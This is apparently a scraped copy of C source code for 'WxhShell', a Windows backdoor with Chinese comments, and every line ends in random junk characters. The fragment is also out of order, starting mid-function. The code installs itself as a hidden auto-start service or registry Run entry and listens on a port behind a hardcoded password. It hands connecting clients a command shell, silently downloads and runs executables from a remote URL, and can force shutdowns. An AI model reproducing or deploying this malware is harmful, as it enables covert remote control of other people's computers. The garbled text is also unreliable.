    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HI']{2p2}t  
    if(Boot(SHUTDOWN)) ~z>2`^Z"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R^dAwt`.D  
    else { " I`<s<  
    closesocket(wsh); 50rq} -  
    ExitThread(0); n7X3aoVV  
    } hig^ovF  
    break; |!I#T  
    } @<},-u  
  // 获取shell Qo)>i0  
  case 's': { tb&{[|O^  
    CmdShell(wsh); PWLMux  
    closesocket(wsh); 8!me$k&  
    ExitThread(0); ~b8U#'KD  
    break; l[Ng8[R  
  } 4<Bj;1*4  
  // 退出 sEe^:aSN  
  case 'x': { 2}I1z_dq~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v8 ggPI  
    CloseIt(wsh); /$WEO[o  
    break; A#2 Fd7&  
    } K-k;`s#  
  // 离开 gGe `w  
  case 'q': { \|DcWH1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @(Ou;Uy  
    closesocket(wsh); (Pc:A! }  
    WSACleanup(); ~+QfP:G  
    exit(1); '(&.[Pk:"  
    break; gHvxmIG  
        } s+C&\$E  
  } U $X"W'  
  } GvF~h0wMt  
8WZM}3x$f{  
  // 提示信息 LJfd{R1y+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HWFo9as""v  
} e<9IwS!/  
  } #r#UO  
b!5W!vcK  
  return; vUvIZa  
} :=T+sT~  
:)cPc7$8  
// shell模块句柄 F^3Q0KsT  
int CmdShell(SOCKET sock) ~H7m7  
{ (Pbdwzao  
STARTUPINFO si; #l+U(zH:JG  
ZeroMemory(&si,sizeof(si)); HKb8z@;%@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tO)mKN+ (  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qOV#$dkY  
PROCESS_INFORMATION ProcessInfo; : JD% =w_  
char cmdline[]="cmd"; *(PGL YK  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 37T<LU  
  return 0; \=XAl >}\  
} Tc T%[h!  
+ ( `  
// 自身启动模式 ]xCJ3.9  
int StartFromService(void)  #dtYa  
{ bezT\F/\  
typedef struct (XX6M[M8  
{ ,<d[5;7x  
  DWORD ExitStatus; i"r&CS)sT  
  DWORD PebBaseAddress; fOdkzD,  
  DWORD AffinityMask; (lTM5qC  
  DWORD BasePriority; 7(QRG\G#  
  ULONG UniqueProcessId; ZXY5Xvt:v  
  ULONG InheritedFromUniqueProcessId; x$[<<@F%  
}   PROCESS_BASIC_INFORMATION; mawomna  
3qXOsa7  
PROCNTQSIP NtQueryInformationProcess; F@& R"-  
`M6!V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 68[3 /  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SsIy;l  
C5CUMYU  
  HANDLE             hProcess; j#f+0  
  PROCESS_BASIC_INFORMATION pbi; 'nz;|6uC  
1`^l8V(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eB%KXPhMm  
  if(NULL == hInst ) return 0; r/$+'~apTk  
[2pp)wq  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O#7ONQfBO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zH0%; o}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); & Gp@,t  
#v0"hFOH,  
  if (!NtQueryInformationProcess) return 0; GpMKOjVm|  
gPSUxE `O.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); gbsRf&4h  
  if(!hProcess) return 0; %0fF_OU  
6}='/d-[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Sf);j0G,D  
/;-KWu+5=  
  CloseHandle(hProcess); %<lfe<;^t  
x#-uf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b'Pq [ )  
if(hProcess==NULL) return 0; rbiNp6AdL  
7F5 t&  
HMODULE hMod; bE#=\kf|  
char procName[255]; X,: pT\G  
unsigned long cbNeeded; VUC  
x%23oPM  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *:J#[ET,  
9 yH95uaDF  
  CloseHandle(hProcess); )IPnSh/ <  
k_/hgO  
if(strstr(procName,"services")) return 1; // 以服务启动 $/90('D  
(JH LWA H  
  return 0; // 注册表启动 '@>FtF[Gu  
} j/4N  
fu?5gzT+b  
// 主模块 DQ :w9  
int StartWxhshell(LPSTR lpCmdLine) !%5ae82~3  
{ >^LVj[.1  
  SOCKET wsl; * t6 XU  
BOOL val=TRUE; W{O:j  
  int port=0; zWoPa,  
  struct sockaddr_in door; %;yDiQ!+  
d af$`  
  if(wscfg.ws_autoins) Install(); _ I8L#4\(=  
-CfGWO#Gbx  
port=atoi(lpCmdLine); 1|bu0d\]  
;j])h !8X  
if(port<=0) port=wscfg.ws_port; #qXE[%  
gvvl3`S{  
  WSADATA data; v+U( #"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ";E Mu(IXb  
J\<7M8   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   OLJb8kO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (mz5vzyw  
  door.sin_family = AF_INET; NsJt=~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *( YtO  
  door.sin_port = htons(port); o"~ODN" L  
Z m9 e|J  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jLX{$,  
closesocket(wsl); fI>>w)5  
return 1; 9 P_`IsVK  
} ?Y+xuY/t  
biG=4?Xl  
  if(listen(wsl,2) == INVALID_SOCKET) { \bYuAE1q  
closesocket(wsl); ,X(P/x{B  
return 1; h^^zR)EVb  
} .NcoST9a  
  Wxhshell(wsl); >C y  
  WSACleanup(); vzK*1R5  
qH!}oPeU'  
return 0; ZOc1 vj  
`l@[8H%aw  
} 1MHP#X;|  
NLFs)6\  
// 以NT服务方式启动 i)f3\?,,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) s (|T@g  
{ F>jPr8&  
DWORD   status = 0; !R;P"%PHV  
  DWORD   specificError = 0xfffffff; /]"&E"X"  
Q:eIq<erY  
  serviceStatus.dwServiceType     = SERVICE_WIN32; geU-T\1[l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Af1izS3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =BQM(mal  
  serviceStatus.dwWin32ExitCode     = 0; O%5cMz?eU  
  serviceStatus.dwServiceSpecificExitCode = 0; #\N?ka}!  
  serviceStatus.dwCheckPoint       = 0; `?LQd2p  
  serviceStatus.dwWaitHint       = 0; DLcfOOn1I  
a(Ka2;M4J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WsRG>w3"  
  if (hServiceStatusHandle==0) return; 5w"f.d'  
jUtrFl  
status = GetLastError(); :0IxnK(r&  
  if (status!=NO_ERROR) -/|O*oZ  
{ 4 r#O._Z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; D 7 l&L  
    serviceStatus.dwCheckPoint       = 0; +*'  
    serviceStatus.dwWaitHint       = 0; -B :Z(]3#\  
    serviceStatus.dwWin32ExitCode     = status; ='u'/g$'&  
    serviceStatus.dwServiceSpecificExitCode = specificError; %HSS x+2oR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uXq?Z@af|f  
    return; y_J~n 9R  
  } =o;QvOS;  
H6E@C}cyM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u/!U/|  
  serviceStatus.dwCheckPoint       = 0; f Z$<'(t  
  serviceStatus.dwWaitHint       = 0; HX\@Qws  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); {:m5<6?x)  
} AE!WYE  
nV38Mj2U  
// 处理NT服务事件,比如:启动、停止 EquNg@25W  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fn$/ K  
{ |57KTiiNLI  
switch(fdwControl) f/Km$#xOr  
{ g0I<Fan  
case SERVICE_CONTROL_STOP: wpu]{~Y  
  serviceStatus.dwWin32ExitCode = 0; i,rP/A^q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; vW]Frb  
  serviceStatus.dwCheckPoint   = 0; ,{ CgOz+Ul  
  serviceStatus.dwWaitHint     = 0; N%;Q[*d@/  
  { fOiLb.BW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /- z_"G  
  } ]Vhhx`0  
  return; wOE_2k  
case SERVICE_CONTROL_PAUSE: y$s}-O]/-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RI w6i?/I  
  break; -aG( Yx  
case SERVICE_CONTROL_CONTINUE: XOa<R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d hiLv_/  
  break; R<LW*8  
case SERVICE_CONTROL_INTERROGATE: J9ovy>G  
  break; a8M.EFa:  
}; D}"\nCz}y&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w3Aq[1U0  
} a$#,'UB  
WzgzI/  
// 标准应用程序主函数 .Y'kDuUu  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z]$yuM  
{ #[sC H  
\F,?ptu  
// 获取操作系统版本 OTtSMO  
OsIsNt=GetOsVer(); Q !5Tw  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +;#hED; 8  
/7@@CG6b  
  // 从命令行安装 ;G!X?(%+  
  if(strpbrk(lpCmdLine,"iI")) Install(); @SPmb o  
x)G/YUv76  
  // 下载执行文件 WP32t@  
if(wscfg.ws_downexe) { 5yp~PhHf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;Iw'TF   
  WinExec(wscfg.ws_filenam,SW_HIDE); i3: sV5  
} $f>WR_F  
[HF)d#A  
if(!OsIsNt) { x0.&fCh%  
// 如果时win9x,隐藏进程并且设置为注册表启动 fouy??  
HideProc(); {xEX_$nv  
StartWxhshell(lpCmdLine); mwbkXy;8  
} 'BAe>r_Pn  
else f: 7Y  
  if(StartFromService()) )t&|oQ3sVG  
  // 以服务方式启动 9<7Q{  
  StartServiceCtrlDispatcher(DispatchTable); %Tsefs?_  
else <n }=zu  
  // 普通方式启动 ./#K@V1  
  StartWxhshell(lpCmdLine); z&<Rx[  
VmBLNM?  
return 0; TM!R[-\  
} fhH* R*4  
J)(]cW.  
>z^T~@m7l  
H _3gVrP_  
=========================================== D:n0d fPU  
q6j]j~JxB  
xR#hU;E}  
= 1}-]ctVn  
GmAE!+"  
DMf^>{[  
" ^~BJu#uVyy  
v{% /aw  
#include <stdio.h> !+>yCy$~_  
#include <string.h> c |C12b[  
#include <windows.h> }=f}@JlFB  
#include <winsock2.h> Fof_xv9  
#include <winsvc.h> _R5^4-Qe  
#include <urlmon.h> ]|[xY8 5}  
1>1|>%  
#pragma comment (lib, "Ws2_32.lib") (O`=$e  
#pragma comment (lib, "urlmon.lib") w-\fCp )  
cz T@txF  
#define MAX_USER   100 // 最大客户端连接数 x<ENN>mW1  
#define BUF_SOCK   200 // sock buffer [MiD%FfcNH  
#define KEY_BUFF   255 // 输入 buffer k*!J,/=k  
G^2"\4R]p  
#define REBOOT     0   // 重启 ~NTpMF  
#define SHUTDOWN   1   // 关机 t?0=;.D  
CJu;X[6  
#define DEF_PORT   5000 // 监听端口 Tu6he8Q-  
o9~qJnB/O  
#define REG_LEN     16   // 注册表键长度 j|[s?YJl  
#define SVC_LEN     80   // NT服务名长度 E'r* g{,  
6B+ @76wH  
// 从dll定义API Q ?Nzt;)!.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); qp{NRNkQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cnIy*!cJs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T8KhmO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); CZa9hsM  
=  Oq;  
// wxhshell配置信息 Ffhbs D  
struct WSCFG { uq%RZF z(v  
  int ws_port;         // 监听端口 uY;/3 ?k&  
  char ws_passstr[REG_LEN]; // 口令 d&ZwVF!  
  int ws_autoins;       // 安装标记, 1=yes 0=no qC 6Q5F  
  char ws_regname[REG_LEN]; // 注册表键名 C$(t`G  
  char ws_svcname[REG_LEN]; // 服务名 u>(Q& 25  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9 /zz@  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 l+N?:E$5=%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +f7?L]wzic  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,F *e^#>  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C>MoR3]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 W*s`1O>  
z$<6;2  
}; {jc~s~<#  
I{Kc{MXn  
// default Wxhshell configuration sZbzY^P  
struct WSCFG wscfg={DEF_PORT, &x3"Rq_  
    "xuhuanlingzhe", z44uhRh  
    1, %fyb?6?Y  
    "Wxhshell",  $}F]pa[  
    "Wxhshell", 7<tqT @c  
            "WxhShell Service", ( ou:"Y  
    "Wrsky Windows CmdShell Service", 1uH\Bn]p?  
    "Please Input Your Password: ", a-} %R  
  1, woT"9_tN  
  "http://www.wrsky.com/wxhshell.exe", C= m Y  
  "Wxhshell.exe" y k5P/H)  
    }; hKT:@l*  
5\'%zZ,l  
// 消息定义模块 Mu( Y6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; \=_8G:1  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D4vmBVT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; lxmS.C  
char *msg_ws_ext="\n\rExit."; p}.b#{HJ  
char *msg_ws_end="\n\rQuit."; E*I]v  
char *msg_ws_boot="\n\rReboot..."; Pz)QOrrG~  
char *msg_ws_poff="\n\rShutdown..."; ?dmMGm0T9  
char *msg_ws_down="\n\rSave to "; IMR|a*=`c  
!Q3Snu=  
char *msg_ws_err="\n\rErr!"; Dsua13 hF  
char *msg_ws_ok="\n\rOK!"; b(yO  
aK>9:{]ez  
char ExeFile[MAX_PATH]; 6^aYW#O<Ua  
int nUser = 0; MU e 'xK  
HANDLE handles[MAX_USER]; _9@?Th&_e  
int OsIsNt; M"vcF5q  
E 5t+;vL~  
SERVICE_STATUS       serviceStatus; 6C0_. =7#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PHK#b.B>a8  
0C p}  
// 函数声明 y;Zfz~z  
int Install(void); pzax~Vp  
int Uninstall(void); )eFFtnu5  
int DownloadFile(char *sURL, SOCKET wsh); 9HE(*S  
int Boot(int flag); bGi_", 8  
void HideProc(void); &v-V_.0(H  
int GetOsVer(void); JAb?u.,Ns_  
int Wxhshell(SOCKET wsl); QBw ZfX  
void TalkWithClient(void *cs); 0;h1LI)  
int CmdShell(SOCKET sock); iXm||?Rnx  
int StartFromService(void); oGVSy`ku  
int StartWxhshell(LPSTR lpCmdLine); sBb.Y k  
r^E]GDz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,4Fqvg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); M96( Rg  
%7evPiNB  
// 数据结构和表定义 D;I`k L  
SERVICE_TABLE_ENTRY DispatchTable[] = @."o:K  
{ M&ij[%i  
{wscfg.ws_svcname, NTServiceMain}, v|I5Gz$qpa  
{NULL, NULL} P082.:q"  
}; =[K)<5,@  
i f<<lq  
// 自我安装 @,4%8E5  
int Install(void) IOkC[([  
{ uK:-g,;  
  char svExeFile[MAX_PATH]; NoO+xLHw8  
  HKEY key; >NRz*h#  
  strcpy(svExeFile,ExeFile); '98h<(@]  
G\+nWvV7  
// 如果是win9x系统,修改注册表设为自启动 m_$I?F0  
if(!OsIsNt) { ij(4)=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0['"m^l0S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qysa!B  
  RegCloseKey(key); x"8ey|@&,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6rQpK&Jx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U[QD!  
  RegCloseKey(key); B`B%:#  
  return 0; ;hA7<loY  
    } %Sn6*\z  
  } '95E;RV&  
} Yc82vSG'  
else { q Iy^N:C2'  
Nr24[e G>d  
// 如果是NT以上系统,安装为系统服务 RF5q5<0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [DxefYyI  
if (schSCManager!=0) F[kW:-ne@Z  
{ `8(h,aj;  
  SC_HANDLE schService = CreateService w2d]96*kQe  
  ( Yxd{&47  
  schSCManager, aw/7Z`   
  wscfg.ws_svcname, )4~sQ^}  
  wscfg.ws_svcdisp, 5eOj, [?  
  SERVICE_ALL_ACCESS, =~hsKBt*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V(2,\+t  
  SERVICE_AUTO_START, |[ Ie.&)  
  SERVICE_ERROR_NORMAL, 8pPC 9ew\=  
  svExeFile, gr>o E#7  
  NULL, l#b|@4:I  
  NULL, icPp8EwH  
  NULL, ySQ-!fQnP  
  NULL, {jhmp\PN  
  NULL ^m_^  
  ); b0YiQjS6>  
  if (schService!=0) 1BMB?I  
  { TF=k(@9J?  
  CloseServiceHandle(schService); )@]6=*%  
  CloseServiceHandle(schSCManager); zg#m09[4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F#1 Kk#t  
  strcat(svExeFile,wscfg.ws_svcname); KQ4kZN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {N!E5*$Tr  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x}?DkFuxb  
  RegCloseKey(key); )'[x)q  
  return 0; y9C;T(oi;  
    } QqiJun_m  
  } O3kg  
  CloseServiceHandle(schSCManager); kmlG3hOR,  
} 0]T.Lh$3  
} k0|`y U  
F qeV3 N  
return 1; A%Bgp?B  
} ;)(Sdf[P  
+yf(Rs)!  
// 自我卸载 zoZ<)x=;  
int Uninstall(void) >4n+PXRXX  
{ ZV'$k\  
  HKEY key; o84UFhm   
 0]AN;  
if(!OsIsNt) { k"xGA*B|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gi6g"~%@q1  
  RegDeleteValue(key,wscfg.ws_regname); ]} 61vV  
  RegCloseKey(key); +|y*}bG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (I-<f$3  
  RegDeleteValue(key,wscfg.ws_regname); i2){xg~c  
  RegCloseKey(key); oZTgN .q  
  return 0; LHh5 v"zjG  
  } 'X7%35Y  
} '_:(oAi,C  
} j-7u>s-l  
else { ^SZw`]  
G&q'#3ieC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); t3PtKgP-6  
if (schSCManager!=0) Btj#EoSI_  
{ HTmI1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xfjd5J7'  
  if (schService!=0) gtiEhCF2W  
  { z{9=1XY  
  if(DeleteService(schService)!=0) { !p9)CjQ"  
  CloseServiceHandle(schService); eD%H XGe  
  CloseServiceHandle(schSCManager); WRW WskP  
  return 0; HBH$  
  } =#qZ3 Qz_  
  CloseServiceHandle(schService); QK)){ cK  
  } zuSq+px L@  
  CloseServiceHandle(schSCManager); <aJ $lseG  
} ,LD m8   
} =; 0wFwSz  
7 8Vcu'j&_  
return 1; ui:=  
} $B;_Jo\|  
hoa7   
// 从指定url下载文件 $9 +YNgW>  
int DownloadFile(char *sURL, SOCKET wsh) &(EHq  
{ Z$ p0&~   
  HRESULT hr; )p<WDiX1!e  
char seps[]= "/"; .`jo/,?+O  
char *token; "wAf. =F  
char *file; J'b<z.OW  
char myURL[MAX_PATH]; +Y}V3(w9X  
char myFILE[MAX_PATH]; 5G(3vRX|1  
7FLXx?nLY  
strcpy(myURL,sURL); !*aPEf270  
  token=strtok(myURL,seps); O~!T3APGU  
  while(token!=NULL) Wy4$*$  
  { VIC0}LT0R  
    file=token; K_~h*Yc  
  token=strtok(NULL,seps); +vW)vS[  
  } 1|{bDlmt  
f$.?$  
GetCurrentDirectory(MAX_PATH,myFILE); ).5RPAP  
strcat(myFILE, "\\"); 0V$k7H$Z  
strcat(myFILE, file); k1^\|   
  send(wsh,myFILE,strlen(myFILE),0); PRkS Q4  
send(wsh,"...",3,0); MZV_5i@:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /P:.qtT(  
  if(hr==S_OK) R\mR$\cS  
return 0; 3*ixlO:qGk  
else zce`\ /:  
return 1; a(IY\q[Wh  
HDVW0QaMu  
} #>[a{<;Kn  
0nJE/JZ  
// 系统电源模块 : i~W } r  
int Boot(int flag) ^Hrn  ]  
{ 59r_#(uo  
  HANDLE hToken; ke_ [  
  TOKEN_PRIVILEGES tkp; `F t]MR  
mYxyWB  
  if(OsIsNt) { P 1XK*GZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H 3@Z.D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); '3 33Ctxy  
    tkp.PrivilegeCount = 1; Rk6deI]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 0NDftcB]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =,y |00l  
if(flag==REBOOT) { j.e0;! (L}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .Jx9bIw  
  return 0; [XVEBA4GI  
} XV3C`:b  
else { B* kcN lW  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O7d$YB_'  
  return 0; ]z/Zq  
} #LlUxHv #  
  } K5Q43 e1  
  else { b[9&l|y^  
if(flag==REBOOT) { &H}r%%|A  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^I8Esl8  
  return 0; b-ll  
} ?eH&'m}-  
else { vo>d!rVCV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ho8`sh>N  
  return 0; 1 `^Rdi0  
} PZxAH9 S?  
} o[oM8o<  
%^sTU4D5  
return 1; Y8M]Lwj  
} CTX9zrY*T  
T|J9cgtS  
// win9x进程隐藏模块 ^;!0j9"* :  
void HideProc(void) O[tvR:Nh  
{ vgY3L  
0a8/B>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .2d9?p3Y  
  if ( hKernel != NULL ) X%z }VA  
  { 8fA_p}wp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); sn7AR88M;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =q N2Xg/  
    FreeLibrary(hKernel); ^` un'5Vk  
  } #/PAA  
 _zlqtO  
return; 8.F~k~srA  
} SGb;!T *  
%ZHP2j %~  
// 获取操作系统版本 +)JpUqHa  
int GetOsVer(void) DN4$Jva  
{ d%l{V6  
  OSVERSIONINFO winfo; ),%6V5a+E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s4&^D<  
  GetVersionEx(&winfo); vJAZ%aW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Kw#so; e  
  return 1; o7IxJCL=Q  
  else 8~5cJPi6  
  return 0; j ";2o(  
} \u6^Varw  
'_|h6<.k[  
// 客户端句柄模块 <uj 8lctmP  
int Wxhshell(SOCKET wsl) Mq';S^  
{ wAnb Di{W  
  SOCKET wsh; R|i/lEq  
  struct sockaddr_in client; >X*Mio8P#  
  DWORD myID; C6rg<tCH  
J\ e+}{  
  while(nUser<MAX_USER) qzb<J=FAU  
{ &89 oO@5  
  int nSize=sizeof(client); /x3/Ubmz~x  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q^6+!&"  
  if(wsh==INVALID_SOCKET) return 1; {BKl`1z  
DxJX+.9K9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Z@hD(MS(C  
if(handles[nUser]==0) OyqNLR  
  closesocket(wsh); JEE{QjTh  
else ?yh}/T\qp  
  nUser++; ou %/l4dC  
  } }NsUnbxT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J,b&XD@m  
kI%%i>Y}  
  return 0; fxgr`nC  
} %#$EP7"J  
y-CX}B#j  
// 关闭 socket [Y`,qB<B  
void CloseIt(SOCKET wsh) ~F1:N>>_Cf  
{ p ;|jI1  
closesocket(wsh); ngGO0  
nUser--; |ae97 5  
ExitThread(0); qc-mGmomL  
} j2 !3rI  
LdB($4,  
// 客户端请求句柄 \e`~i@) ~Z  
void TalkWithClient(void *cs) Y"KE7>Jf  
{ Z{H5oUk  
s`#(   
  SOCKET wsh=(SOCKET)cs; p019)X|vx  
  char pwd[SVC_LEN]; [CAR[ g&  
  char cmd[KEY_BUFF]; C)cwAU|h#  
char chr[1]; $y b4xU  
int i,j; 'g9"Qv?0{`  
l&}y/t4%  
  while (nUser < MAX_USER) { uPniLx\t:  
A4ISNM7R[  
if(wscfg.ws_passstr) { Kt(-@\)!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S/ibb&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "]-Xmdk09  
  //ZeroMemory(pwd,KEY_BUFF); 3"{.37Q  
      i=0; [xKd7"d/n  
  while(i<SVC_LEN) { mXXt'_"  
n#iwb0-  
  // 设置超时 /x1MPP>fu  
  fd_set FdRead; y9KB< yh/  
  struct timeval TimeOut; F-*2LMe  
  FD_ZERO(&FdRead); ek N' k  
  FD_SET(wsh,&FdRead); T\r@5Xv  
  TimeOut.tv_sec=8; r/*=%~*  
  TimeOut.tv_usec=0; KWWa&[ev)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t3+Py7qv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bb d.  
PdVfO8-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (< =}]v  
  pwd=chr[0]; mRZ :ie  
  if(chr[0]==0xd || chr[0]==0xa) { CSCN['x  
  pwd=0; =r@vc  
  break; r$wxk 4%Rz  
  } lqb/eN9(t  
  i++; `ImE% r!  
    } ''|#cEc)  
xGI, Lk+  
  // 如果是非法用户,关闭 socket kEd@oC  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h`MF#617  
} l (3bW1{n  
5 B=^v#m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ti &J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %K]euEqs  
"5A&_E }3  
while(1) { [7 YPl9  
<ioO,oS'  
  ZeroMemory(cmd,KEY_BUFF); Zec <m8~  
Ks\ NE=;5  
      // 自动支持客户端 telnet标准   95<EN (oUD  
  j=0; *]i!fzI']  
  while(j<KEY_BUFF) {  RD tU43  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4Yl;  
  cmd[j]=chr[0]; VS&TA>  
  if(chr[0]==0xa || chr[0]==0xd) { gqWupL  
  cmd[j]=0; &[hLzlrg  
  break; iH.$f /)N  
  } wR{'y)$  
  j++; FaBqj1O1  
    } A 8 vbQ  
>s`J5I!  
  // 下载文件 ^`<w&I@  
  if(strstr(cmd,"http://")) { Wpc|`e<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @JW@-9/  
  if(DownloadFile(cmd,wsh)) ]!IVz)<E&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); b$eXFi/  
  else ~n/ $  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); # 6!5 2  
  } 4tx|=;@0  
  else { HV/cc"  
<40rYr$/J  
